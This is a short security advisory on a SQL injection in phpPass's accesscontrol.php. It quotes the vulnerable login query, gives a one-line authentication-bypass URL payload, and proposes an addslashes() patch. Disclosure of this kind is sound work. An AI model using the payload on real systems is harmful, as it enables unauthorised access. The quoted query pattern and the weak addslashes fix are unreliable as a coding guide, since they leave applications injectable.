phpPass (PHP)

2007.11.08
Credit: Frog Man
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Informations : Version : 2 Website : http://www.agames-net.com Problem : SQL Injection PHP Code/Location : accesscontrol.php : ------------------------------------------------ [...] session_register("uid"); session_register("pwd"); [...] $sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'"; $result = mysql_query($sql); [...] if (mysql_num_rows($result) == 0) { session_unregister("uid"); session_unregister("pwd"); ?> <html> <head> <title> Access Denied </title> [...] exit; [...] ------------------------------------------------ Exploit : http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''=' Patch : In accesscontrol.php, replace the lines : ------------------------------------------------- $sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'"; $result = mysql_query($sql); ------------------------------------------------ by : ------------------------------------------------------------------------ $uid=addslashes($uid); $pwd=addslashes($pwd); $sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'"; $result = mysql_query($sql); ------------------------------------------------------------------------ A patch can be found on http://www.phpsecure.org . More details : In French : http://www.frog-man.org/tutos/phpPass.txt translated by Google : http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2F tutos%2FphpPass.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguag e_tools frog-m@n _________________________________________________________________ MSN Messenger : discutez en direct avec vos amis ! http://www.msn.fr/msger/default.asp


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